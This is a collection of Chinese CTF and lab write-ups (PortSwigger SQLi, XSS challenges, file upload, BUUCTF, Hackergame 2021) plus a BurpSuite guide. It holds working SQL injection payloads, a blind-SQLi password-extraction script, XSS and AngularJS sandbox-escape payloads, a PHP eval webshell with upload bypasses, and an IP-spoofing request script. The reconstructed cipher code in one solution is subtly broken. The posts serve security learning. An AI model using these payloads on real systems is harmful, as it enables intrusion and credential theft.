启动靶机以后直接就告诉你是 Git 泄露，我们直接使用工具 scrabble 把 .git 爬下来就行，发现一个 index.html，打开就能看到 flag 了。
正常来说，应该是先用 dirsearch 扫到 .git 文件夹后怀疑存在 Git 泄露再用工具下载。
SQL注入-1
启动靶机后直奔地址栏，发现注入点 /index.php?id=1 直接告诉你了，直接开整。
因为 id 是数字，且页面中有标题有正文，先构造 payload：1+ORDER+BY+2+--+，发现行不通，怀疑是字符型的了。
再试试 1'+ORDER+BY+2+--+，发现正常回显了，最后试出来共返回三个数据。
再构造 payload：'+UNION+SELECT+'aaa','bbb','ccc'+--+ 来确定是哪两个回显的，得知是后两个。
再构造 payload：'+UNION+SELECT+NULL,NULL,TABLE_NAME+FROM+information_schema.tables+WHERE+TABLE_SCHEMA=DATABASE()+--+，拿到数据库里的表名 fl4g。
再构造 payload：'+UNION+SELECT+NULL,NULL,COLUMN_NAME+FROM+information_schema.columns+WHERE%20TABLE_NAME='fl4g'+--+，拿到表里的列名 fllllag。
最后使用 payload：'+UNION+SELECT+NULL,NULL,fllllag+FROM+fl4g+--+，拿到最终的 flag。
Web进阶
XSS闯关
第一关
观察到 url 中有 ?username=xss，而网页中正好存在 welcome xss，猜测是直接替换。
payload： level1?username=
第二关
一开始以为和第一关一样，但是没有用。
查看网页源代码后发现 document.getElementById('ccc').innerHTML= "Welcome " + escape(username);。
而 username 定义时如果字符串中有 / 就会报错，于是想到注入点可以在变量定义那里 var username = 'xss';，闭合语句即可。
payload：level2?username=';alert(1);//，变量定义的语句变为 var username = '';alert(1);//';。
第三关
这次先用第二关的 payload，然后直奔网页源代码，发现字符都被转义了。
var username = '\';alert(1);//'
但是莫名其妙的事情发生了，我直接 ?username='';alert(1);// 居然直接过了，看了源代码居然只转义了一个，var username = '\'';alert(1);//'，就很迷，可能是后端写锅了？
神奇的 payload：level3?username='';alert(1);//，官方正解是写入标签 level3?username=
第四关
发现是自动跳转的网页，源代码里发现注入点是 jumpUrl，使用 JavaScript 伪协议来实现。
payload：level4?jumpUrl=javascript:alert(1)
第五关
直接提交发现不太行，观察源代码。
发现有 autosubmit action 两个参数，其中需要我们把 autosubmit 置 1，然后会跳转到 action 参数的链接。
比方说，有 level5?autosubmit=1&action=233，网站会跳转到 /233 上去。
于是再用 JavaScript 伪协议，得到 payload：level5?autosubmit=1&action=javascript:alert(1)
第六关
先随便试了一下，发现对输入进行了转义。
查看源代码后发现使用了 angular.js 模板引擎，就去稍微了解了一下。
angular.js 模板引擎分为 JiT 和 AoT 两种编译方式，Jit 保留了 Angular 的 {{}}，在浏览器中由 JS 来动态解释，AoT 则是现在本地编译好，再上传到实际环境中。
实际测试发现是 JiT 形式的，且可更改的地方被 ng-app 所包裹。
试着写入模板 level6?username={{2*2}}，回显是 welcome 4，源代码是 welcome {{2*2}}，验证了之前的想法。
现在要想办法让 angular.js 解析的时候执行指定的命令如 alert，该怎么办呢？
上网查阅了资料，首先发现 angular.js 有对字符串解析为语句的函数 $eval，但 angular.js 有类似沙箱的机制，会对 $eval 的参数进行解析。
作为一个纯萌新，就开始观摩大佬的文章。
然而东西有点多啊，得开新文章来专门讲一下了。。。
真的佩服这种代码审计的大佬，几万行的代码还要找出逻辑上的漏洞。
先放结论，更为细致的研究请等新文章吧。
payload：level6?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
这种题目是怎么敢只放在进阶的啊，只论 exp 不论原理了吗
文件上传
题目告诉了我们源码，我们先分析代码逻辑。
有一个 check_dir($dir) 函数，对 $dir 文件夹进行递归删除非 .jpg .gif .png 的文件。
每次上传文件会随机生成一个临时文件夹用于存放上传的文件，仅允许上传 .zip .jpg .gif .png 文件，如果是压缩包，则会对压缩包进行解压，并对解压后的文件夹进行 check_dir。关键的一点，本题不含文件包含，因此上传的文件必须能被服务器解析才行。
本题提示每5分钟会清除一次目录下上传的文件，做题的时候没注意时间，意外发现 404 报错时给了服务器提示 Apache/2.4.7 (Ubuntu) Server，而 Apache 存在多后缀文件解析漏洞。
检查十分严格，只能从压缩包解压入手，做 MISC 题的时候常有压缩包带密码的情景，这时候会把里面未加密的文件解压出来，但最后解压还是失败的，但出题人连这个都过滤了，就算异常解压也会检查目录下的文件。这个代码逻辑完全正确，一时没有办法。
后来得知 PclZip 有目录穿越漏洞，解题的法则便确定了。
我们新建一个 000000shell.php.PHP，文件名中的 0 是占位符，文件内容随意，打包成一个 zip 文件。然后用 010 Editor 将压缩包里的 frFileName 和 deFileName 改成 ../../shell.php.PHP，因为解压的目录是临时目录，所以返回两层才是网站根目录，而且并不会被定时删除。
然后访问 /shell.php.PHP 就能拿到 flag。
P.S. 这题环境挺奇怪的，一般都是一句话木马之类的，但这题只要正常解析就行，还必须是 .php，而且蚁剑还不能连，不知道能不能拿到服务器配置看一下。
逻辑漏洞
进去发现是个登录界面，随便输啥都能登录成功，发现是个买东西的界面，显而易见我们需要购买 flag 这个商品。
但是 flag 需要 2000 块钱，我们买不了，但是我们可以买别的东西，发现购买成功，且传递的参数有 cost 和 goods，而 cost 的值正好是标价。
一个正常的商店肯定是不需要传递 cost 值的，说明我们可以在这个参数上做文章。
我们先 /buy.php?cost=0&goods=1，发现钱不够，猜测判断能否购买是根据数据库来的。那么这个 cost 有什么用呢？看来是余额去减的值了。
我们只需要找到能买的商品，然后将 cost 设为负数即可。payload：/buy.php?cost=-100000&goods=3，然后再去购买就能拿到 flag 了。


BUUCTF [极客大挑战 2019]Upload
2021-12-30T12:38:49.000Z
报名参加了 SU 战队，交接的师傅给了一道文件包含的题，从中我学到了很多。一般来说，文件包含肯定伴随着文件上传，所以就找了 BUUCTF 上的一道简单题练练手。
前置准备
进入靶机，发现是要我们上传一个图片。
随便传了一个图片，发现并不知道文件传到哪里了。
于是我们用 dirsearch 爆破一下网站目录，发现存在一个 /upload 文件夹，看来就是它了。
正式开工
我们需要上传一个包含我们恶意代码的文件，并执行它。
最最简单的方式是传一个“一句话木马”，它相当于是一个后门，可以直接执行我们想执行的命令，省去反复上传文件的麻烦。
1
 @eval($_POST['shell']); ?>
或是使用 PHP HTML:
1

这段代码接受 POST 请求中的 shell 字段，并将其解析为 PHP 代码执行。
先尝试直接提交文件，发现检测了后缀名。再尝试改后缀名，又发现检测了文件头。观察前端代码，发现存在 
，看来就是这个 upload_file.php 检测的。考虑加上 GIF89a 这类较为简单的文件头，发现上传成功了。
但是 gif 文件并不会被解析执行，所以我们需要更改文件后缀名，使用 BurpSuite 修改请求中的 filename 的后缀名，在尝试了 php phtm 之类后，终于在 phtml 这个后缀名上成功了。再使用 AntSword 这款工具，获得了服务器上的所有信息。
而 flag 就在服务器根目录下，至此，我们成功拿到了 flag。
一些后话
在拿到服务器信息后，我翻看了网页的源码，对之前做题过程有了全新的认知。
首先，它并不是检测文件后缀名，而是检测请求中的文件类型，而这一步是本地发送请求时就确定的。也就是说，我完全可以直接上传 payload.phtml，然后在 BurpSuite 中将请求包中的 Content-Type: application/octet-stream 改为 Content-Type: image/gif 也可实现文件上传。
其次，它过滤了 。在文件上传中还有一种绕过方式是短标签绕过，显然这里把这条路堵上了。但是它把 PHP 文件类型全过滤了，不知道这个意义何在
总之，我对请求头有了全新的认知，也算是繁重期末中的一丝娱乐吧。



BurpSuite使用指南
2021-11-06T02:59:13.000Z
BurpSuite 是 PorSwigger 开发的 Web 神器，本文就介绍一些 BurpSuite 的使用方法。
其实算是自用笔记
安装
官网：https://portswigger.net/burp，找到社区版下载安装即可。
配置代理
配置监视代理
因为抓包需要经过服务器，而 BurpSuite 其实相当于将你本地设备设为一个服务器，默认端口为 8080。
以 Google Chrome 浏览器为例，安装 SwitchyOmega 这个插件，新建一个名为 BurpSuite 的情景模式，设置代理协议为 HTTP，代理服务器为 127.0.0.1，代理端口为 8080。
应用选项后，如果想用 BurpSuite 抓包，就将 SwitchyOmega 的情景模式调到 BurpSuite 即可。
安装证书
但是我们访问使用了 HTTPS 的网站时会提示不安全，原因是我们没安装 BurpSuite 的证书，被列为不受信任。
在打开监视代理前提下，访问 http://burp，点击右上角的 CA Certificate 下载证书，双击安装。
选择证书存储为“受信任的根证书颁发机构”即可。
配置用户代理
有时候我们需要通过 BurpSuite 的代理后再通过自己的代理，也就是双重代理。
在 BurpSuite 选项卡中找到 User options -> Upstream Proxy Servers，添加即可。
以我 Clash for Windows 为例，设置 Proxy host 为 127.0.0.1，Proxy port 为 7890。
注意别出现端口冲突的情况
更好的代理方案
按照上面的代理进行设置的话会出现拦截不必要的请求的情况，可以在 BurpSuite 中设置过滤规则，但可以使用 SwitchyOmega 插件获得更好的体验。
还是以之前的代理为例，新建一个 Proxy 情景模式，设置代理协议为 HTTP，代理服务器为 127.0.0.1，代理端口为 7890。
新建一个 AutoSwitch 的情景模式，将默认情景模式切换为 Proxy，在切换规则中配置需要 BurpSuite 抓包的域名，设置情景模式为 BurpSuite，然后正常使用即可。
BurpIntruder
将请求黏贴到 Positions 选项卡中，选中可变的部分，点击右侧的 “Add §”，会发现选中的地方高亮显示了，在 Payloads 选项卡中可以配置可变部分的取值，配置好后点击右上角的 “Start attack” 即可，通过观察返回数据的长度来判断特殊的情况。
还可以选择攻击方式，不过我还啥都不会，到时候再写吧。
To be continued…


PortSwigger中的SQL注入
2021-11-04T07:34:46.000Z
PortSwigger是著名神器 BurpSuite 的官方网站,也是一个非常好的漏洞训练平台。
同时也是我们这些新生入队的第一份 SQL 作业
下文的编号均依照 SQLi 内的顺序。
Lab-1
在开始之前，先讲讲联合查询的原理，UNION 操作符能够合并两个或多个 SELECT 语句的结果，而且 UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名，因此后端能正确的处理查询到的信息。
Lab-1 旨在让我们初步了解联合注入攻击，题目已经告诉我们在 filter?category= 中存在注入漏洞，要求我们得知查询返回的列数。
通过测试，得知是字符查询，可以通过单引号加注释来闭合。
官方给的题解是通过依次向 SELECT 后加空类型数量是否报错来判断列数，第一个不报错的查询中的空类型数量即为列数。
payload：'+UNION+SELECT+NULL,NULL,NULL+--+
但这个方法较为繁琐，可以利用 ORDER BY 来判断列数。
ORDER BY 用于按照列进行对结果集进行排序，因此如果使用的列数大于返回的列数查询就会失败。
payload：'+ORDER+BY+3+--+
至此，我们成功解决了 Lab-1 的问题。
P.S. 通过观察正常的回显猜测每列的数据功能，也能猜测出返回的列数。
Lab-2
进入环境后先看最上面的题目要求，题目要求我们检索到一个特定的字符串，这里我的字符串是 HZY60Y。
首先我们知道数据库表中的每个列都要求有名称和数据类型，而我们希望检索到的信息一般为字符串，因此，确定返回值哪一列是字符串类型就至关重要。
这里我们就只能用 SELECT 一个一个试了，最后试出来第二列是字符串类型。
payload：'+UNION+SELECT+NULL,'HZY60Y',NULL+--+
P.S. 经测试，第一列和第三列是数字类型，第一列代表商品 id，第三列代表商品价格。
Lab-3
题目要求我们获得别的数据表中的内容，并以管理员身份登录。
我们先通过之前 Lab-1 和 Lab-2 的方法来得知返回两列数据，并且都是字符串类型。
由于事先告诉了我们列名和表名，所以直接查询即可。
构造 payload：'+UNION+SELECT+username,password+FROM+users+--+
成功获得账号密码，登录即可。
P.S. 在实战中列名和表名不可能直接告诉我们，需要通过别的手段来查询。
查询表名：SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=DATABASE()
查询列名：SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='要查的数据表'
查询数据类型：
SELECT COLUMN_NAME,DATA_TYPE,CHARACTER_MAXIMUM_LENGTH FROM information_schema.columns WHERE TABLE_NAME='要查的数据表'
但是第 3 种方法我在 Lab-2 时失败了，希望能有大佬评论解释一下 QAQ。
Lab-4
类似于 Lab-3，但这次返回的列中只有一列是字符串类型了，因此我们需要把 username 和 password 连接起来。
不完全统计，SQL 中常用的字符串拼接方法有：
1
2
3
4
Oracle：'foo'||'bar' 或是 CONCAT('foo','bar')
Microsoft：'foo'+'bar'
PostgreSQL：'foo'||'bar'
MySQL：'foo' 'bar' 或是 CONCAT('foo','bar')
payload：'+UNION+SELECT+NULL,CONCAT(username,'+:+',password)+FROM+users+--+
官方给的题解是用 || 连接的。
payload：'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
Lab-5
不同的数据库软件，不同的软件版本有不同的语法和注入方式，所以判断数据库类型和版本十分重要。
像 Oracle 的数据库，查询时必须提供表名，但是我们又不知道有哪些表，这时候我们就可以用到 dual 表了。
dual 是 Oracle 中的一个实际存在的表，任何用户均可读取，常用在没有目标表的 SELECT 语句块中。
所以我们可以用 payload：'+UNION+SELECT+NULL,NULL+FROM+dual+--+ 来判断返回的列数。
其实和前面一样，看页面就能猜到是两列了
用 Lab-2 中的方法就能知道两列都是字符串。
SQL 中常用的查询数据库版本的方法有：
1
2
3
4
Oracle：SELECT banner FROM v$version 或是 SELECT version FROM v$instance
Microsoft：SELECT @@version
PostgreSQL：SELECT version()
MySQL：SELECT @@version
于是有 payload：'+UNION+SELECT+NULL,banner+FROM+v$version+--+
P.S. 虽然题目让你输出 banner，但事实上只输出版本号也算你通过了，payload：'+UNION+SELECT+NULL,version+FROM+v$instance+--+
Lab-6
用 Lab-1 和 Lab-2 中的方法可知，返回的是两列字符串。
用 Lab-5 中的方法，可构造 payload：'+UNION+SELECT+NULL,@@version+--+
Lab-7
同样的，利用 Lab-1 和 Lab-2 中的方法可知，返回的是两列字符串。
使用 Lab-3 中提到的查询表名的方法，我们构造 payload：'+UNION+SELECT+NULL,TABLE_NAME+FROM+information_schema.tables+--+ 来获得所有表名。
查询 users，以我为例，有一个表名叫 users_hrculq，
再用 Lab-3 中的提到的查询列名的方法构造 payload：'+UNION+SELECT+NULL,COLUMN_NAME+FROM+information_schema.columns+WHERE+TABLE_NAME='users_hrculq'+--+
得到列名分别为 username_thhhye 和 password_rrnflm。
再用 Lab-3 中的方法构造 payload：'+UNION+SELECT+username_thhhye,password_rrnflm+FROM+users_hrculq+--+
即可得到账号密码。
Lab-8
用 Lab-5 中的方法就能知道有两列且都是字符串。
构造 payload：'+UNION+SELECT+NULL,table_name+FROM+all_tables+--+
与 Lab-7 类似的，以我为例，存在一个名为 USERS_BPUSXY 的表。
构造 payload：'+UNION+SELECT+NULL,column_name+FROM+all_tab_columns+WHERE+TABLE_NAME='USERS_BPUSXY'+--+
得到列名分别为 USERNAME_RXOWXX 和 PASSWORD_BPQNLT。
再用 Lab-3 中的方法构造 payload：'+UNION+SELECT+USERNAME_RXOWXX,PASSWORD_BPQNLT+FROM+USERS_BPUSXY+--+
即可得到账号密码。
Lab-9
进入了全新的知识点，有点难度。
在布尔盲注情形下，服务器只会对你的数据返回 2 种可能的情况。
在这里就是右上角的 “Welcome back!”。用 BurpSuite 抓包后发现带了 cookie：
Cookie: TrackingId=WOIVqvYbhS4OsGi6; session=ixZOZ9IdT4dL7AozrFuSDJicKD355nD8
不过 document.cookie 是空的，希望能知道实现原理，是后端对每个会话都存了一个 TrackingId 吗？
推测后端实现类似 SELECT * FROM TrackingIds WHERE TrackingId = '$Cookie.TrackingId'
我们可以尝试在 TrackingId 后面添加一些条件，以我当前状态为例，修改 Cookie 为 TrackingId=WOIVqvYbhS4OsGi6' AND '1'='1
这时候查询语句就会闭合为 SELECT * FROM TrackingIds WHERE TrackingId = 'WOIVqvYbhS4OsGi6'  AND '1'='1'
自然是正确返回 “Welcome back!”，再修改条件为 '1'='2，发现回显消失了，判断存在布尔盲注。
测试一些常见的字符串函数：
测试子串：' AND SUBSTRING('abc',1,1)='a
如果这个不成功，试试 ' AND SUBSTR('abc',1,1)='a
测试字符串长度：' AND LENGTH('abc')=3 AND '1'='1
测试通过后我们就可以正式开始了。
尝试寻找常见的表，比如 users、flag 这种。
构造 payload：' AND (SELECT 'a' FROM users LIMIT 1)='a，LIMIT 1 来保证返回的必定是 ‘a’，发现存在 users 表。
由于题目告诉我们用户账号是 administrator，所以构造 payload：' AND (SELECT 'a' FROM users WHERE username='administrator' LIMIT 1)='a
得知在 users 表中存在名为 username 的列。
再构造 payload：' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
得知密码长度大于 1，以此类推，最后知道密码长度为 20。
再利用 SUBSTRING 函数截取每一位来判断密码。
过程太折磨了，都是类似 ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a 这种。
使用了 python 脚本：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests, string, sys, warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning
warnings.simplefilter('ignore',InsecureRequestWarning)
url = "https://ace01f551f74a718c0b829ea002e0066.web-security-academy.net/"
hint = "Welcome back!"
password = ""
pos = 1
proxies = {
    'http': None,
    'https': None,
}
for i in range(1, 20):
    for ch in string.ascii_letters + string.digits:
        sys.stdout.write(f"\r[+] Password: {password}{ch}")
        cookies = {
            "session" : "ixZOZ9IdT4dL7AozrFuSDJicKD355nD8",
            "TrackingId" : f"WOIVqvYbhS4OsGi6' AND (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator')='{ch}",
        }
        res = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
        if hint in res.text:
            password = password + ch
            pos = pos + 1
sys.stdout.write(f"\r[+] Password: {password}")
P.S. 实战中不可能直接把表名和库名告诉你，需要撞库。可以写 python 脚本，或是利用 BurpIntruder。
To be continued…


Hackergame 2021 Writeup
2021-10-30T08:07:34.000Z
之前我们战队的副队长在新生群里发了这个比赛，就决定拿它来初步感受一下 CTF 的比赛氛围。
题目和真正的 CTF 感觉还是有不少差别的，感觉很多题可以归类到 Misc 中去。
不过这个比赛让我深刻地体会到了 CTF 知识的宽度有多广，不过我啥也不会全靠搜。
听说中科大的 CTF 战队入队标准是进排行榜前 41，还是有点恐怖。排行榜越往上分数断层也越大，也说明了我们与顶尖 CTF 选手之间的水平差距巨大。榜首的 mcfx 之前打 OI 的时候也听说过，是个巨佬。
Linux 有关的知识至关重要，所以等我新电脑到了就把老电脑换成 Arch，正好可以修订一下我的Arch 安装教程。就我个人经历而言，不推荐双系统，因为坑爹的 Win10 更新指不定哪天就把你的引导给覆盖了。
得益于丰富的库，Python 在某些操作上十分方便，看来得学习一下基础语法了。比赛里好多题有想法，却因为不会写 Python 而放弃了，有点可惜。
签到
真签到题，就如题面所述，“你只需要打开日记，翻到 Hackergame 2021 比赛进行期间的任何一页就能得到 flag！”
所以你只需要 ?page=任意比赛时间进行期间的时间戳 就能拿到 flag。
随便试的时候记得有时间是比赛暂停的（
进制十六——参上
签到题加一，把右边涂掉部分对应的左侧 Hex 编码输入到随便一个 Hex 编辑器即可。
去吧！追寻自由的电波
挺有意思的一道题，下载下来的音频是经过变速的，得手动放慢时间。
但是现在的倍速软件过于智能，变速不改变音调，没啥办法，用舍友的 AU 调了一段不是很清晰的出来。
勉强听出 Golf Hotel November Tango India，怀疑是哪里的单词表，直接 Google。
发现果然是单词表里的词，但是不按顺序。我还在 Reddit 上看到了这样一个帖子，顿时会心一笑（主要还是这个帖子内容有趣）。
原来是用单词的首字母加密的，于是在魔鬼调音下听了半小时，对着单词表勉强对应，得到录音内容：
1
Foxtrot Lima Alpha Golf Leftbracket Papa Hotel Oscar November Echo Tango India Charlie Bravo Alpha Rightbracket
注意题面告诉我们都是小写字母，翻译一下就是：flag{phoneticab}
正好也是单词表的名字：PhoneticAlphabet
猫咪问答 Pro Max
看介绍似乎是 Hackergame 的传统了？考验信息搜集能力（
第一问
我一开始没想起来 web.archive.org 这个网站，一直在找搜索引擎的网页快照，完全失败。
后来我就想，既然 SEC@USTC 和 USTCLUG 合并了，能不能在 USTCLUG 的网站上找到蛛丝马迹呢？
终于，我找到了这个，历年比赛的归档里有一个是在 web.archive.org 上的！
于是顺藤摸瓜，找到了章程
答案是 20150504
第二问
在官方介绍中，是只有四次的，所以我就一直写的 4，但是一直不对。
然后我就想，这么有影响力的社团今年怎么可能缺席呢，估计是网站没更新，就对了。
答案是 5
垃圾网站不更新，浪费我时间
第三问
我找了个中科大的朋友直接要了一份图片。人脉也算信息搜集的一环，不是吗
答案是 Development Team of Library
第四问
就按着题面去找 SIGBOVIK 2021，这篇论文在这个pdf的 216 页。
这个无厘头的论文证明了任何非零十进制数的二进制开头是 1，真是白花了我那么久时间看英文论文，按照文章逻辑，后面附的数据集都是。
答案是 13
P.S. SIGBOVIK 好像每年的论文都很无厘头，比如这篇论文的上一篇就是一个有味道的文章（
第五问
直接按题面关键字搜索，发现这份文件
大致看了下，好像是吐槽别人不按规范操作的搞笑协议，和上一问一起让我体会到了外国人的幽默感。
答案在 section-6，是 /dev/null
P.S. 按照 Wiki 的说法，/dev/null（或称空设备）在类Unix系统中是一个特殊的设备文件，它丢弃一切写入其中的数据（但报告写入操作成功），读取它则会立即得到一个EOF。再结合文章内容，也让人会心一笑。
卖瓜
一开始看这题分类是 web，以为是改包这类的，后来发现检测是在后端，那就没啥办法了。
只能随便试试，发现称 6 斤的瓜溢出后是 0，但是称 9 斤的瓜溢出后是 -2^63，这个数对 3 取模是 2，而我们的目标 20 对 3 取模也是 2，所以我们只需要称两次溢出的 9 斤瓜就能让我们需要的瓜数量被 3 整除。
但我一开始直接溢出两次发现虽然我是 20/20，但是就是不给我 flag。
想了很久才意识到直接溢出两次显示的是 -1.844674407371E+19，而题目的补充说明告诉我们，当称的数字变为浮点数而不是整数时，HQ 不会认可最终的称重结果。
所以溢出一次后加回到正值再溢出就行了。
最后的输入（前面是选择瓜的种类，后面是数量）：
1
2
3
4
5
9 10000000000000000000
6 1537228672808120301
6 1537228672808120301
9 10000000000000000000
6 2018004
透明的文件
根据题面的描述“劣质终端”以及附件中的内容加上我仅有的一些 Linux 常识，我判断这些是 ANSI 转义字符。
所以在所有的 [ 前加上 \e，然后放到 WSL 中去输出，修改后的文件内容很长，我就不放了。
结果得到了这样的输出：
完全看不清啊(#`O′)
一天后我向一位高中时的学长吐槽时发了截图，What’s up，缩小后的图案居然清晰了！
根据题目描述，勉强辨认出 flag{abxnniohkalmcowsayfiglet}
旅行照片
一开始觉得这道题非常离谱，毫无头绪。
后来发现了那个独特的蓝色 KFC，好家伙，网红店啊，再根据地理位置推测出方位。
于是我们得到面朝方向为东南，电话号码是 0335-7168800，隔壁是海豚馆。
再根据照片倾斜角度推测是向下拍摄的，剩下两个直接枚举就行。
拍摄时间大致为傍晚，楼层是 14。
FLAG 助力大红包
发现有个助力链接，能加提取量。总感觉在内涵某些 APP 呢
活动要求位于同一 /8 网段的用户将会被视为同一个用户，达到助力次数上限后，将无法再帮助好友助力。并且使用前后端方式检查用户的 IP。
先看一下网页源代码，发现前端检测是借助第三方 js 实现的。然后点一下助力抓个包看看，发现将通过第三方得到的 ip 传给了后端，并且知道后端是 PHP 实现。
通过搜索可知，可以在 Header 中设置 X-Forwarded-For 来伪造地址。
于是我们可以直接写脚本了：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function sendRequest(x) {
    var ip = x + ".0.0.0";
    var xhr = new XMLHttpRequest();
    xhr.withCredentials = true;
    xhr.open("POST", "http://202.38.93.111:10888/invite/8cf96f4d-7a5e-47c5-b20c-683310d8a91b");
    xhr.setRequestHeader("X-Forwarded-For", ip);
    xhr.send("ip=" + ip);
}

const sleep = (delay) => new Promise((resolve) => setTimeout(resolve, delay))

for (i = 0; i <= 255; i++) {
    await sleep(1750);
    sendRequest(i);
}
十分钟的时间还是有点紧的。
Amnesia - 轻度失忆
通过搜索可得，ELF 文件中存在不存放在 .data 和 .rodata 中的数据，那就是 .bss，通常是指用来存放程序中未初始化的全局变量和静态变量的一块内存区域。临时变量就放在 .bss 中。
所以有代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include 
int main() {
    char c;
    c = 'H'; putchar(c);
    c = 'e'; putchar(c);
    c = 'l'; putchar(c);
    c = 'l'; putchar(c);
    c = 'o'; putchar(c);
    c = ','; putchar(c);
    c = ' '; putchar(c);
    c = 'w'; putchar(c);
    c = 'o'; putchar(c);
    c = 'r'; putchar(c);
    c = 'l'; putchar(c);
    c = 'd'; putchar(c);
    c = '!'; putchar(c);
}
图之上的信息
用给的 guest 账户登录后，提示 flag 是 admin 的邮箱。
进行抓包，账号密码挺正常的，但发现有个请求内容很奇怪：
1
2
url: http://202.38.93.111:15001/graphql
body: {"query":"{ notes(userId: 2) { id\ncontents }}"}
试了一下 userId: 1，发现权限不够，猜测 admin 的用户 id 就是 1。
是没见过的类型，想起来题目里提到了 GraphQL，赶紧搜一下（
搜到了这样一篇文章，讲了一些基础的东西。
利用里面的方法，我们用 payload：
?query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
来得到内部的数据结构，和 SQL 中的 information_schema 有异曲同工之妙。
以下是省略了无关内容的表。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "Query",
          "fields": [
            {
              "name": "note",
              "args": [
                {
                  "name": "id",
                  "description": null,
                  "type": {
                    "name": "Int",
                    "kind": "SCALAR",
                    "ofType": null
                  }
                }
              ]
            },
            {
              "name": "notes",
              "args": [
                {
                  "name": "userId",
                  "description": null,
                  "type": {
                    "name": "Int",
                    "kind": "SCALAR",
                    "ofType": null
                  }
                }
              ]
            },
            {
              "name": "user",
              "args": [
                {
                  "name": "id",
                  "description": null,
                  "type": {
                    "name": "Int",
                    "kind": "SCALAR",
                    "ofType": null
                  }
                }
              ]
            }
          ]
        },
        {
          "name": "GNote",
          "fields": [
            {
              "name": "id",
              "args": []
            },
            {
              "name": "contents",
              "args": []
            }
          ]
        },
        ......
        {
          "name": "GUser",
          "fields": [
            {
              "name": "id",
              "args": []
            },
            {
              "name": "username",
              "args": []
            },
            {
              "name": "privateEmail",
              "args": []
            }
          ]
        },
        ......
      ]
    }
  }
}
借由一开始的例子，我们很容易构造出 payload：
?query={ user(id: 1) { id, username, privateEmail }}
P.S. 在我没登录的时候也能通过最开始的语句查询到 guest 的信息，完全有理由怀疑那就是个幌子，来引诱人向登录 admin 账户这一方向思考。
minecRaft
看上去很难，所以直接查看源码，发现一个 ，先别急，看看是怎么调用这个 js 里的函数的。
找到：
1
2
3
4
5
6
7
8
9
if(cinput.length>=32){
  let tbool=gyflagh(cinput.join(''));
  if(tbool) {
    pressplateList[65].TurnOn_redstone_lamp();
    content.innerText='Congratulations!!!';
    return;
  }
  cinput.length=0;
}
说明 flag 长度为 32，且通过 gyflagh 来判断是否正确。
然后我们把目光转向 jsm/miscs/flag.js，发现里面乱七八糟一团糟，全是十六进制，直接裂开。
但仔细研究后发现有相当一部分是为了混淆原来代码的，比如第一个函数是为了检查最下面的字符串数组数据完整性，剩下有相当一部分是利用那个数组把字符串的一些操作给混淆成十六进制数。
经过整理和重命名变量后，得到一份人能看懂的代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
(String['prototype']['encrypt'] = function (str) {
  const s = new Array(2), key = new Array(4);
  let res = ''; plaintext = escape(this);
  for (var i = 0; i < 4; i++)
    key[i] = Str4ToLong(str.slice(i * 4, (i + 1) * 4)); // 将密码表8位一组放入 key 中
  for (i = 0; i < plaintext.length; i += 8) {
    s[0] = Str4ToLong(plaintext.slice(i, i + 4));
    s[1] = Str4ToLong(plaintext.slice(i + 4, i + 8));
    // 8位一组中的前4位和后4位分别存入s[0]和s[1]中
    code(s, key);
    res += LongToBase16(s[0]) + LongToBase16(s[1]);
  }
  return res;
});
function code(s, key) {
  const delta = 2654435769;
  let v0 = s[0], v1 = s[1];
  let sum = 0;
  for (let i = 0; i < 32; i++) {
    v0 += (((v1 << 4) ^ (v1 >>> 5)) + v1) ^ (sum + key[now & 3]);
    sum += delta;
    v1 += (((v0 << 4) ^ (v0 >>> 5)) + v0) ^ (sum + key[now >>> 11 & 3]);
  }
  s[0] = v0, s[1] = v1;
}
function Str4ToLong(s) {
  let res = 0;
  for (let i = 0; i < 4; i++)
    res |= s.charCodeAt(i) << (i * 8);
  return isNaN(res) ? 0 : res;
}
function LongToBase16(x) {
  let res = '';
  for (let i = 3; i >= 0; i--) {
    let tmp = (x >> 8 * i & 255).toString(16);
    if (parseInt('0x' + tmp) <= 15) tmp = '0' + tmp;
    res += tmp;
  }
  return res;
}
function gyflagh(_0x111955) {
  let _0x3b790d = _0x111955['encrypt']('1356853149054377');
  if (_0x3b790d === '6fbde674819a59bfa12092565b4ca2a7a11dc670c678681daf4afb6704b82f0c') return 1;
  return 0;
}
可以发现是将操作序列用密钥加密后和原有的比较。
关键点是那个 code 函数，直接反向操作即可，正好这份代码中还提供了 LongToStr4 和 Base16ToLong，直接调用即可。
反向操作时要求数据恒正，我不会用 Javascript 进行简便的操作，就写了一份 C++ 代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include 
using namespace std;
unsigned key[] = {909456177, 825439544, 892352820, 926364468};
void decode(unsigned v0, unsigned v1) {
  unsigned delta = 2654435769, sum = delta * 32;
  for (int i = 0; i < 32; i++) {
    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    sum -= delta;
    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
  }
  cout << v0 << ' ' << v1 << endl << endl;
}
int main() {
  int x, y;
  while (cin >> x >> y) decode(x, y);
}
